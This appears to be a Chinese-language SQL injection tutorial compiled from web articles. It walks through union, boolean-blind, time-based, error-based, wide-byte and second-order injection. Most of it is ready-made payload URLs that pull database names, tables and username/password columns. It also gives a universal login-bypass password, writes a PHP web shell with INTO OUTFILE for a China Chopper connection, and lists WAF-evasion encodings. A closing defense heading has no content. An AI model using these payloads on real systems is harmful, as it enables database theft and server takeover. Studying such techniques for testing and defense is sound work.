在 Web 端大概是 http://xxx.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1 and 1=1
在 Web 端大概是 http://xxx.com/news.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为select * from 表名 where name=‘admin’。注意多了引号。组合出来的sql注入语句为:select * from news where chr=‘admin’ and 1=1 ’ ’
闭合单引号chr=‘admin’ union select 1,2,3,4 and ‘1’='1 ====>chr=‘admin’(闭合前面单引号) union select 1,2,3,4 and ‘1’=‘1’
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like ‘%关键字%’。组合出来的sql注入语句为:select * from news where search like ‘%测试 %’ and ‘%1%’=’%1%‘测试%’ union select 1,2,3,4 and ‘%’=’
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1, id 是注入点。
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
数字型注入判断方法有三种
1.输入单引号,不正常返回
Select * from users where id =1’ 加单引号sql语句本身语法就错误了会有不正常的返回
2.输入and 1=1,可以正常返回
Select * from users where id =1 and 1=1 符合语法,可以正常返回
3.输入and 1=2,不正常的返回
Select * from users where id =1 and 1=2 逻辑错误1不等于2,返回不正常
字符型注入判断方法有三种
1.输入单引号,不正常返回
Select * from users where id =1’ 加单引号sql语句本身语法就错误了会有不正常的返回
2.输入’ and ‘1’=’1
Select * from users where id =’admin’ and ‘1’=’1’ 语法正确可以正常返回
3.输入’ and ‘1’=’2
Select * from users where id =’admin’ and ‘1’=’2’ 逻辑错误可以正常返回
MySQL需要掌握的基础
1.information_schema:提供访问数据库元数据的方式,元数据就是是关于数据的数据
2.Information_schema:存储了schemata,tables,columns三个表
3.Schema:存储所有数据库
4.Tables:存储所有数据表
5.Columns:存储所有列
6.MySQL系统库存储数据库的用户,权限设置,关键字
7.MySQL是关系型数据库
1.union用于合并两个或多个语句的结果集,并去除重复的行
2.order by 按一个或多个字段排序 可以用字段在列表中的位置号来代替字段名,比如username在列表的第2列 可以用order by 2 这就是为什么order by 可以用来判断列数
3.添加and 1=2的原因是因为经过联合查询返回多条数据多数应用只返回查询到的第一条结果联合查询的其他结果不会被显示
4.
concat():用于直接连接字符串concat(‘11’,’12’,’13’) 效果111213
group_concat(str1,str2) 用逗号连接 效果11,12,13
concat_ws(seq,str1.str2)用seq指定的字符来分割1,2
mysql注释符 # %23 – /**/
5.
万能密码:
username :admin’ or ‘1’='1# ‘ or ‘1’=’1#
password :*******(随意输入)
单引号闭合则可以用 --+ 来注释掉后面的 ’
MySQL联合查询需要掌握的基础函数
函数 | 作用 |
---|---|
user() | –当前用户名 |
database() | –当前数据库库名 |
version() | –获取当前版本 |
@@datadir | –数据库路径 |
@@version_compile_os | –操作系统版本 |
load_file() | –读取文件 |
into outfile()/into dumpfile() | 写入文件 |
concat() | –直接连接 |
group_concat() | –使用逗号作为分隔符 |
concat_ws() | –使用指定符号作为分割符 |
联合注入过程(数字型)
1.判断注入点
http://www.ctfs-wiki.com/index.php?id =1’ 报错
http://www.ctfs-wiki.com/index.php?id =1 and 1=1 正常
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 不正常
2.判断列数
http://www.ctfs-wiki.com/index.php?id =1 order by 1
3.判断显示位
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,3
http://www.ctfs-wiki.com/index.php?id =-1 union select 1,2,3
4.获取当前数据库
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,database()
5.获取数据库中的表名
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’
6.获取数据库的列名
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ and table_schema=’security’
8.获取数据表中的数据
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,group_concat(username,’ ’,password) from security.users
Bool注入没有任何报错信息,页面只有正常和不正常两种结果
函数 | 描述 |
---|---|
Length() | 返回字符串的长度 |
Substr(字段名,A,N) | 截取字符串 |
ascii() | 返回字符的ascii码 |
limit(0,1) | 从0行开始,向后取1行数据 |
ord() | 函数可以返回单个字符的ASCII码 |
布尔注入过程 (bool)
1.在参数后添加引号尝试报错,并用and 1=1#和and 1=2#测试报错
?id=1’ and 1=1# 页面返回正常
?id=1’ and 1=2# 页面返回不正常
2.判断数据库名的长度
1’ and length(database())>=11–+ 页面返回正常
1’ and length(database())>=13–+ 页面返回正常
1’ and length(database())>=14–+ 页面返回错误
由此判断得到数据库名的长度是13个字符
3.猜解数据库名
使用逐字符判断的方式获取数据库名;数据库名的范围一般在az、09之内,可能还会有特殊字符 “_”、”-“ 等,这里的字母不区分大小写。
’ and substr(database(),1,1)=‘a’–+
’ and substr(database(),2,1)=‘a’–+
substr 的用法和 limit 有区别,limit从 0 开始排序,这里从 1 开始排序。
用Burp爆破字母a的位置,即可得到数据库名每个位置上的字符。
还可以用ASCII码查询
a 的ASCII码是97,在MySQL中使用ord函数转换ASCII,所以逐字符判断语句可改为:
’ and ord(substr(database(),1,1))=97–+
4、判断数据库表名
’ and substr((select table_name from information_schema.tables where table_schema=‘数据库名’ limit 0,1),1,1)=‘a’–+
–修改1,1前边的1~20,逐字符猜解出第一个表的名
–修改limit的0,1前边的0~20,逐个猜解每个表
5、判断数据库字段名
’ and substr((select column_name from information_schema.columns where table_schema=‘数据库名’ and table_name=‘表名’ limit 0,1),1,1)=‘a’–+
–修改1,1前边的1~20,逐字符猜解出第一个字段的名
–修改limit的0,1前边的0~20,逐个猜解每个字段
6、取数据
’ and substr((select 字段名 from 表名 limit 0,1),1,1)=‘a’–+
如果嫌用Burp慢的话,可以自己编写脚本,修改payload即可
Sleep注入没有任何报错信息,页面返回不管对或者错都只用有一种状态,无法通过页面返回状态判断SQL语句是否正确,只能构造sleep语句判断返回时间
Sleep()函数可以是执行挂起一段时间 select sleep(3) 执行了3秒
If(exp1,exp2,exp3)类似三元运算符,如果exp1为真返回exp2,为假则返回exp3
sleep注入过程
1、判断注入类型
?id=1’ and sleep(5)# 延迟
?id=1 and sleep(5)# 没有延迟
?id=1’ and sleep(5) and 1=1–+ 页面返回不正常,延时5秒
?id=1’ and sleep(5) and 1=2–+ 页面返回不正常,不延时
2、利用sleep判断数据库名长度
‘ and if(length(database())>1,sleep(5),1)
–if(条件表达式,真,假) --C语言的三目运算符类似
3、获取数据库名
and if(substr(database(),1,1)=‘a’,sleep(5),1)–+
具体数据以此类推即可。
报错注入原理
updatexml报错注入的一种利用updatexml第二个参数xpath_string的报错进行注入,xpath_string是xml文档路径,格式是/xxx/xxx/xxx/,格式不正确就会报错
updatexml函数介绍
Updatexml(XML_document,XPath_string,new_value)
XML_document 是string型数据,是目标xml文档的文件格式
XPath_string是xml文档的路径
New_value是string型数据,用于替换查找到的符合条件的数据
Updatexml(dco,’/book/author/initial’,’ctfa03’)
报错注入函数
函数 | 描述 |
---|---|
updatexml() | 修改查询到的内容 |
extractvalue() | –查询节点内容 |
floor() | 返回小于等于该值的最大整数 |
updatexml报错注入过程
1、尝试用单引号报错
2、获取数据库名
and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
–0x7e是"~"符号的16进制,在这作为分隔符
3、获取表名
’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘数据库名’ limit 0,1),0x7e),1)–+
4、获取字段名
’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘数据库名’ and table_name=‘表名’ limit 0,1),0x7e),1)–+
5、取数据
’ and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)–+
extractvalue报错注入过程
Extractvalue 函数可以对xml文档进行查询是报错的一种注入,原理也是通过XPath_string路径格式错误触发报错
1.获取数据库的名字
http://www.ctfs-wiki.com/index.php?id=1 and extractvalue(1,concat(0x7e,(database())),0)#
2.获取数据表的名字
http://www.ctfs-wiki.com/index.php?id=1 and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1)),0)#
3.获取数据表列的名字
http://www.ctfs-wiki.com/index.php?id=1 and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=‘security’ limit 1,1)),0)#
4.获取数据库数据
http://www.ctfs-wiki.com/index.php?id=1 and extractvalue(1,concat(0x23,(select password from security.users limit 0,1)),1)
floor报错注入的过程
Floor是报错注入的一种方式,主要原因是rand和group by 分组一起使用,rand函数会计算多次导致报错
Floor函数floor(x)返回不大于x的最大整数值floor(1.4)返回1
Rand()返回0-1之间的随机数 --主键重复(duplicate entry)
floor() --返回小于等于该值的最大整数
只要是count,rand(),group by 三个连用就会造成这种主键重复报错
1.获取数据库的名字
http://www.ctfs-wiki.com/index.php?id =1 and (select 1 from (select count(*),concat(database(),floor(rand()*2))x from information_schema.tables group by x)a)
2.获取数据表的名字
http://www.ctfs-wiki.com/index.php?id =1 and (select 1 from (select count(*),concat((select(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)
3.获取数据表列的名字
http://www.ctfs-wiki.com/index.php?id =1 and (select 1 from (select count(*),concat((select(columns_name) from information_schema.columns where table_name=’users’ and table_schema=database() limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)
4.获取数据库的数据
http://www.ctfs-wiki.com/index.php?id =1 and (select 1 from (select count(*),concat((selectusername from cms.user limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)
注入原理
Addslashes等函数对输入进行过滤,效果?id=’1\’ 单引号被转义,无法闭合,宽字符注入的原理是数据库使用GBK编码,输入的第一个字符ascii码大于128,就会被认为前两个字符是一个汉字,效果?id=’1%81\’,%81和\会组成汉字乘,效果?id=’1 乘’闭合成功不一定要%81,大于%81的编码都可以
1.获取当前数据库
http://192.168.91.142/sqli/02.php?id=1’ and 1=2 union select 1,concat_ws(char(32,58,32),user(),database(),version()),3%23
后台处理语句:
Select * from user where id=’1\’ and 1=2union select 1,concat_ws(char(32,58,32),user(),database(),version()),3 %23
宽字节注入
http://192.168.91.142/sqli/02.php?id=1%81’ and 1=2 union select 1,concat_ws(char(32,58,32),user(),database(),version()),3 %23
后台处理语句
Select * from user where id=’1乘’ and 1=2 union select 1,concat_ws(char(32,58,32),user(),database(),version()),3 %23
2.获取数据库的表名
http://192.168.91.142/sqli/02.php?id=1%81’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’cms’ %23
单引号被转义语法错误将数据库名字转换十六进制
http://192.168.91.142/sqli/02.php?id=1%81’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x6374667377696b69 %23
3.获取数据库列名
http://192.168.91.142/sqli/02.php?id=1%81’ and 1=2 union select 1,group_concat(columns_name),3 from information_schema.columns where table_name=0x75736572 and table_schema=0x6374667377696b69 %23
4.获取数据库数据
http://192.168.91.142/sqli/02.php?id=1%81’ and 1=2 union select 1,group_concat(username,0x2a2a2a,password),3 from user%23
Addslashes等函数对输入进行过滤,效果?id=’1\’ 单引号被转义,无法闭合,宽字符注入的原理是数据库使用GBK编码,使用%df%5c会组成一个繁体字,导致单引号逃逸,%df’ and 1=1 %df’ order by 4
二次注入原理就是第一次在参数中输入恶意数据1’时被addslashes过滤,在执行时被\转义但是存入数据库中时\不会存入,1’单引号被存入数据库,这样下次查询时如果没有过滤,1’可以直接拼接到SQL语句中执行
1.注册在用户名处输入ctfs’ or updatexml(1,concat(0x7e,(verision())),0)#
2.在密码找回处输入邮箱查询触发二次注入
1.1第一步,判断是否存在SQL注入,我们输入http://www.any.com/sqli/Less-7/?id=1,发现页面返回正常。
1.2加入单引号,输入www.any.com/sqli/Less-7/?id=1’,此时发现页面返回不正常,报错,这是我们判断此处存在SQL注入
1.3此时我们来判断闭合字符输入http://www.any.com/sqli/Less-7/?id=1’ and 1=1 %23,回显不正常
输入http://www.any.com/sqli/Less-7/?id=1’) and 1=1 %23,回显不正常
输入http://www.any.com/sqli/Less-7/?id=1’)) and 1=1 %23,回显正常
输入http://www.any.com/sqli/Less-7/?id=1’)) and 1=2 %23,回显不正常
1.4这是我们就要利用以上所学知识写入一句话木马文件,我们输入:
http://www.any.com/sqli/Less-7/?id=1’)) union select 1,‘2’,’’ into outfile ‘c:/www/2.php’%23,虽然显示报错,但其实我们还是写了进去。
1.5此时,我们上中国菜刀工具,右击点击空白处,选择添加,在对话框中输入http://www.any.com/2.php,密码填写a,点击添加即可获取shell。
1.6下面进行读取文件,我们输入:http://www.any.com/sqli/Less-7/?id=1’)) union select 1,2,load_file(“C:/WWW/2.php”) into outfile ‘C:/WWW/3.php’%23,虽然报错了,但是我们还是让它读取到了2.php里的内容,然后让它以3.php写入了进去
|
9.Sql注入拿shell的方法
在开发程序中会通过关键字过滤的方式过滤SQL注入,可以通过编码大小写混写等价函数绕过
1.使用MySQL的注释符//绕过空格 space2comment.py
http://www.ctfs-wiki.com/index.asp?Id=1//and//1=2//union//select//1,2database()
2.制表符%09绕过空格
http://www.ctfs-wiki.com/index.asp?Id=1%09and%091=2%09union%09select%091,2database()
3.换行符%0a绕过
http://www.ctfs-wiki.com/index.asp?Id=1%0aand%0a1=2%0aunion%0aselect%0a1,2database()
4.括号绕过 mysql的特性id=1=1
http://www.ctfs-wiki.com/index.asp?Id=1=(ascii(mid(database() from (1)))=99)
5.反引号`绕过
6.内联注释/!../绕过 randomcomments.py 使用/**/分割关键字
http://www.ctfs-wiki.com/index.asp?Id=1 and 1=2/!union//!select/1,2database()
7.大小写饶过
http://www.ctfs-wiki.com/index.asp?Id=1 and 1=2 union seleCt 1,2,database()
8.双写关键字绕过
http://www.ctfs-wiki.com/index.asp?Id=1 and 1=2 union seselectlect 1,2,database()
9.双重URL编码绕过 chardoubleencode.py 单次编码charencode.py
http://www.ctfs-wiki.com/index.asp?Id=1 and 1=2 union se%256cect 1,2,database()
10.十六进制编码绕过
http://192.168.91.142/sqli/02.php?id=1%81’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x6374667377696b69 %23
11.unicode编码绕过IIS识别 charunicodeencode.py
http://www.ctfs-wiki.com/News.asp?SortID=1&ItemID=46 and 0 < (se%u006cect top 1 name from sys.databases)
12.ascii编码绕过单引号被转义的情况 +的url编码为%2b
http://www.ctfs-wiki.com/News.asp?SortID=1&ItemID=46 and 0 < (select top 1 name from sec.dbo.sysobjects where xtype=’U’ and name not in(char(101)+char(105)+char(109)+char(115)+char(95)+char(67)+char(97)+char(115)+char(101)+char(80)+char(114)+char(111)))
13.like或in 代替 = equaltolike.py
http://www.ctfs-wiki.com/News.asp?SortID=1 and 1 like 1
14from for绕过逗号
Select substr(database(),1,1)
Select substr(database()from 1 for 1)
15等价函数sleep=benchmark函数 ascii=hex 函数,bin函数,group_concat=concat_ws,updatexml=extractvalue
下面这些建议或许对防治SQL注入有一定的帮助:
文章有多处摘自网上其他文章,如有侵权联系我